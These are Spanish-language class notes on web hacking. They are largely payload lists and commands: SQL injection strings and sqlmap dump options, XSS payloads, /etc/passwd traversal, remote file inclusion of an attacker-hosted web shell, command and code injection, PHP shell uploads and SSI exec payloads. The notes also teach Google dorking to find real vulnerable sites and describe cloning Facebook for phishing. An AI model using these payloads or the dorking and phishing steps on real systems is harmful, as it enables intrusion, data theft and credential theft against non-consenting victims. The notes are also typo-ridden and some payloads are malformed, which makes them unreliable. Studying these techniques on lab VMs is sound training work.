**CHEC SEMANA 5**

**HACKING WEB**

Taxonomia de un ataque ver power point

**Inyeccion SQL**, utilizaremos maquinas virtuales:

dvwa-vuh

bee-box

web for pentester

Pagina con vulnerabilidades

bWAPP

Se utilizan códigos “mágicos” para atacar las vez por sql inyección y sqlmap

Sentencias mágicas

‘ or ‘1’=’1

ddd’ unión select 1,2,3,4,5,6,7 ‘

Si me da error es vulnerable y me dara error hasta que coloque el numero de colunmas correcto, una vez hecho esto puedo cambiar las colunmas por valores, por ejemplo nombre base de datos

ddd’unión select 1,database(),3,4,,5,6,7’

ddd’ unión select 1,table\_name,3,4,,5,6,7 from INFORMATION\_SCHEMA.TABLES where table\_schema=database() - - ‘ 🡪esto es para MYSQL intento obtener información de la base de datos

ddd’ unión select 1,column\_name,3,4,,5,6,7 from INFORMATION\_SCHEMA.COLUNMS where table\_name=’<nombre tabla> ‘and table\_schema=database() - - ‘ 🡪me da las colunmas de la tabla elegida

ddd’ unión select 1,<colunma 1> ,3,<colunma 2>4,,5,6,7 from <nombre tabla> where 1=1 - - ‘

sqlmap - u URL - -dbs ver las bases de datos

sqlmap - u URL –D <nombre base de datos> - - tables saber las tablas de esa base de datos

sqlmap - u URL –D <nombre base de datos> -T <nombre tabla> - -columns Las colunmas de esa tabla

sqlmap - u URL –D <nombre base de datos> -T <nombre tabla> -C <colunmas> - -dump 🡪 nos da información de las columnas que le hemos pedido

sqlmap - u URL –D <nombre base de datos> -T <nombre tabla> - -dump 🡪me da toda la información posible

sqlmap - u URL - -sql- shell -🡪intento generar una Shell de la base de datos

con http headers puedo recuperar cabeceras y pasárselas a sqlmap

sqlmap –u URL(pagina donde hago la injeccion) - -data=”los datos que he conseguido”

- -level=5 - -risk=3 le paso el mayor nivel y mayor riesgo

Si la palabra mágica tiene bloqueos sustituimos espacios por su valor %09

Si no tengo = en mi url PUEDO INTENTAR CONSEGUIR UNA COOCKIE CON POR EJEMPLO HTTP HEADERS

sqlmap –u “URL” - - cookie=”<coockie recuperada con http headres>” - - dbs

PUEDO UTILIZAR EL POST OBTENIDO EN HTTP HEADERS

sqlmap –u “URL” - -data=”<post obtenida>” - - dbs

puedo poner los dos cookies y post

sqlmap –u “URL” - - cookie=”<coockie recuperada con http headres>” - - data=”<valor post>” - -dbs

‘%09or%09’1’=’1 sustituyo los spacios por %09

Si no funciona pongo /\*\*/ en lugar del spacio

‘/\*\*/or/\*\*/’1’=’1

Si esto no funciona probamos otras sentencias

/root=

/id=

Y tras esto añadir una igualdad por ejemplo

/root=admin or 1=1 🡪yo añado el or 1=1 añado una igualdad

Cuando intentamos la inyección es importante ver el error que comenta y se debe de analizar

Por ejemplo ERROR INTEGER REQUIRED

Se soluciona id=2%0A or 1=1 ver por que practica

+¿Cómo encontrar la web vulnerable?  
  
Bien, todos sabemos que Google es el buscador web referente en el mundo, lo que muchos no saben es que este buscador también puede cumplir la función de radar de webs vulnerables si sabes qué buscar.  
  
También tendremos que saber que son las "Dorks", esto es simplemente un fragmento de un enlace web que nos servirá para filtrar posibles webs vulnerables.

[](https://3.bp.blogspot.com/-lEhk5ljM9UE/WC4t0OcYB3I/AAAAAAAAAN4/Hqb43ZH8ZX83u2zfVduwbtX3o7iIkFv0gCLcB/s1600/google-dorks-and-sql-injection-1-638.jpg)

Os pondré un ejemplo, yo tengo el siguiente enlace : "http://www.ejemploweb.com/tienda.php?id=1", la parte en negrita sería el dork, todas las dorks tienen algo en común, y es la parte del ".php?id=", donde pone id no es necesario que siempre sea así, también podría ser ".php?objeto=" o cualquier otra cosa, es un valor remplazable.  
Volviendo a Como encontrar la web vulnerable una vez tengamos claro lo que es una dork, voy a enseñaros a como buscar web's vulnerables o simplemente a buscar lo que exactamente queremos.  
  
PASOS PARA BUSCAR WEB'S VULNERABLES

Primer paso - Abrir buscador de Google

Segundo paso - Buscar la siguiente dork en Google ' inurl:php?id='

Tercer paso - Busca ''Herramientas de búsqueda'' y modifica los valores que quieras a tu gusto, yo buscaré webs españolas.

Cuarto Paso - Accede a la web que más te guste y modifica la dork de la siguiente manera :

Ejemplo : La url de la web a la que accediste supongamos que es la siguiente 'http://www.webejemplo.es/noticia.php?id=1"

debemos cambiar el numero '1' por una comilla simple ('), y quedaría así :

http://www.webejemplo.es/noticia.php?id='

Una vez des al botón 'Intro' cuando hayas remplazado el valor por la comilla sabremos si la web es vulnerable, o si tenemos indicios de ello.

¿Como lo sabremos?

Si recibiste el siguiente error o similar al remplazar el valor por la comilla, es muy probable que la web sea vulnerable a una inyección SQL, aunque no es seguro.

 "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''20''' at line 1"

Ahora lo demás consta de explotarla con un software muy sencillo, el cual ya explicaré en otro post.

XSS

<a onmouseover=”alert(‘kaka’)”>CHEE </a>

<img src=’imagen que no existe’ onerror=”alert(‘estas hakeado’)”/>

http://192.168.2.136/xss/example3.php?name=%3Cimg%20src=%E2%80%99chee%E2%80%99%20onerror=%22alert(%27estas%20hakeado%27)%22/%3E

Si alert no funciona se puede probar prompt

<script> alert(document.coockie)</script> me salta la cookie si es vlnerable

XSS a probar en web

***"><script>alert("XSS")</script>***

***"><script>alert(String.fromCharCode(88,83,83))</script>***

***'><script>alert("XSS")</script>***

***'><script>alert(String.fromCharCode(88,83,83))</script>***

***<ScRIPt>aLeRT("XSS")</ScRIPt>***

***<ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>***

***"><ScRIPt>aLeRT("XSS")</ScRIPt>***

***"><ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>***

***'><ScRIPt>aLeRT("XSS")</ScRIPt>***

***'><ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>***

***</script><script>alert("XSS")</script>***

***</script><script>alert(String.fromCharCode(88,83,83))</script>***

***"/><script>alert("XSS")</script>***

***"/><script>alert(String.fromCharCode(88,83,83))</script>***

***'/><script>alert("XSS")</script>***

***'/><script>alert(String.fromCharCode(88,83,83))</script>***

***</SCRIPT>"><SCRIPT>alert("XSS")</SCRIPT>***

***</SCRIPT>"><SCRIPT>alert(String.fromCharCode(88,83,83))***

***</SCRIPT>">"><SCRIPT>alert("XSS")</SCRIPT>***

***</SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>***

***";alert("XSS");"***

***";alert(String.fromCharCode(88,83,83));"***

***';alert("XSS");'***

***';alert(String.fromCharCode(88,83,83));'***

***";alert("XSS")***

***";alert(String.fromCharCode(88,83,83))***

***';alert("XSS")***

***';alert(String.fromCharCode(88,83,83))***

RFI/LFI LOCAL FILE INCLUSION

Antes del igual ,por ejemplo

Languague=lang si pongo language[]=lang y da error , es una pista de que es vulnetrable a RFI/LFI. También se puede probar en lugar de [], utilizar ‘

Que podemos hacer?

Navegamos hacia /etc/passwd =../../../etc/passwd hasta encontrarlo

Esto solo es valido para paginas php

La finalidad prodria a ser tras el = por ejemplo poner <http://ip> atacante/Shell.txt&&cmd=ls

La idea es redirigirlo a mi ip y allí ejecutar una Shell y hacer un ls del directorio siempre que sea remote file inclusion.

Lo podems hacer desde kali en /usr/share/webshells/php tenemos web Shell para utilizar

Se puede abrir un servidor para probar estas Shell con un comando de Python

python –m SimpleHTTPServer si no lo digo nada por defecto es el puerto 8000

asi ahora tengo como un servidor la dirección /usr/share/webshells/php si ahora abro un navegador con mi ip y puerto 8000 vere los Shell de la ruta que decimos,

ahora puedo pegar esta ruta a una web victima con paraemtro = hay pongo mi url y lo concateno con por ejempl

url atacante&&cmd=ls o &&cmd=ifconfig cmd=cat+/ect/passwd

esto seria un remote file inclusión

COMAND EXECUTION INJECTION

**Inyección de comandos automatizada**

Exite una herramienta llamada comix para este fin.

Python comix.py url=”URL QUE SEA” data=’datos post” cookie=”cookie obtenida” semodifica el data poniendo INJECT\_HERE en lugar de lo que nos da al introducir mi parámetro por ejemplo si en el formulario puse una ip.

**Inyección de comandos manual**

url/camos/ip=127.0.01 puedo intentar ejecutar comandos ip=127.0.0.1|ps aux

para obtener todo lo que se esta ejecutando

otra ip=127.0.0.1 |ps;pwd;ls;id me haría las cuatro

otra ip=127.0.0.1;echo “/n/nUname:”; uname +a

en el comand inyección siempre se utiliza la tubería 🡪| ejemplo |cat /etc/passwd

CODE EXECUTION INJECTION

Ejemplos ip=127.0.0.1”.system(`ls -l`).” Y nos dará un listado de lo que hay

Otra forma ip=127.0.0.1);}system(‘ls –l’);//

Otra forma ip=127.0.0.1’.system(‘ls –l’).’

Otra forma ip=127.0.0.1’.system(‘pwd’).’

Otra forma ip=127.0.0.1’.system(‘id’).’

FILE UPLOAD

Subo un fichero y en lugar de subir una imagen subo una Shell de php.

Si no puedo subir archivos php, puedo subirlo con otra extensión por ejemplo jpg y luego lo cambio en la url jpg por php si no me deja hacerlo en la url, puedo intentar hacerlo con http headers , coger el resultado del método post repetir y cambiar el jpg por php

LDAP ATTACK

Omitir parámetros o cambiar parámetros para ver si es vulnerable

SSI SERVER SIDE INCLUDE

Enviar código al servidor web, inyección a las paginas html, al contrario que xss que ataca al lado cliente ssi ataca al servidor

Ejecuto script

<!- - #exec cmd =’ls’- - >

Para vr si es vulnerable, si lo es me devolverá el resultado del ls

<!- - #exec cmd =”cat/etc/passwd”- - >

<!- - #echo var=”DATE\_LOCAL”- - >

Es vulnerable en todas lasaplicaciones web que tengan el archivo ssi.php por defecto. Lo podemos ver el archivo en el código fuente.

RFI/LFI REMOTE & LOCAL FILE INCLUSION

SCRIPT PARA INTENTAR AUTOMATIZAR PRUEBAS MANUALES

Por ejemplo en lugar de ir probando ../etc/passwd ../../ect/passwd lo hago automatico y con un bucle.

for i in $(cat inyección.txt) ; do echo $i & curl - - cookie=”la cookie captura de htp headers” url victima hasta su igual ejemplo <http://192.168.1.131/bwapp/rlf.php?languages>=$i;done

en el archivo inyección.txt tengo

../etc/passwd

../../ect/passwd

../../../ect/passwd

.

.

.

../../../ hasta n /etc/passwd

Ira probando los distinto ../etc/passwd a partir del =$i y con el curl nos mostrara la información obtenida.

Una vez que se donde esta la vulnerabilidad por ejemplo en ../../../etc, puedo mejorar mi script buscando directorios vulnerables,que meto en un archico es decir en lugar del inyección.txt pongo lfi.txt donde puedo tener

/etc/passwd

/etc/host

/usr/local

Y entonces hago

for i in $(cat lfi.txt) ; do echo $i & curl - - cookie=”la cookie captura de htp headers” url victima hasta su igual ejemplo <http://192.168.1.131/bwapp/rlf.php?languages=../../../$i;done>

PHISING

Necesitamos un hosting,por ejemplo en hostinger nos creamos uno

Ir a administador de archivos🡪public html y me creo una carpeta llamada phising

Httprint copia paginas web, lo bajo a KALI LINUX

httprint -h www.facebook.com -s signatures.txt

también podemos copia la pagina directamente con guarda como y la salvamos con otro nombre y nos copia el código fuente.

Ejemplo auditoria página web

1.- MANUAL🡪muy importante arroja mucha informacion

2.-COMPOBRACION AUTOMATICA

3.-PRUEBA DE INTRUSION

Pagina ejemplo 🡪thesecuritysentinel.es

1.- MANUAL

1.-Informacion básica

dnsenum🡪dnsenum <dominio de la pagina web>

passiveRecon🡪cogemos sobre todo información de la red network

con la ip busco los dominios que hay lo puedo hacer en bing entro en bing y pongo ip:<la ip conseguida> todos los dominios que figuran además del mio para poder en su caso atacar por otra web que no sea la mia e intentar atacar al servidor y desde allí al resto de paginas.

wapalayzer veo como esta construida la pagina

whatweb🡪whatweb –v <dominio de la pagina>

theharvester –d <dominio de mi web> -l 500 google, para buscar Emails relacionados con la pagina web

firebug

robots.txt

2.-leer código fuente

Probar script url que indiquen directorios y además también se hay formulario podemos intentar mandar un correo a mi por ejemplo desde un correo que no exista a ver que pasa

2.-COMPOBRACION AUTOMATICA

Nmap

Sqlmap sobre formularios de entrada

Ataques de fuerza bruta con medusa o Hydra

WebCruiser es una herramienta que busca vulnerabilidades sobre todo de inyección sql

dirb <pagina completa con el http y todo>

nikto

acunetix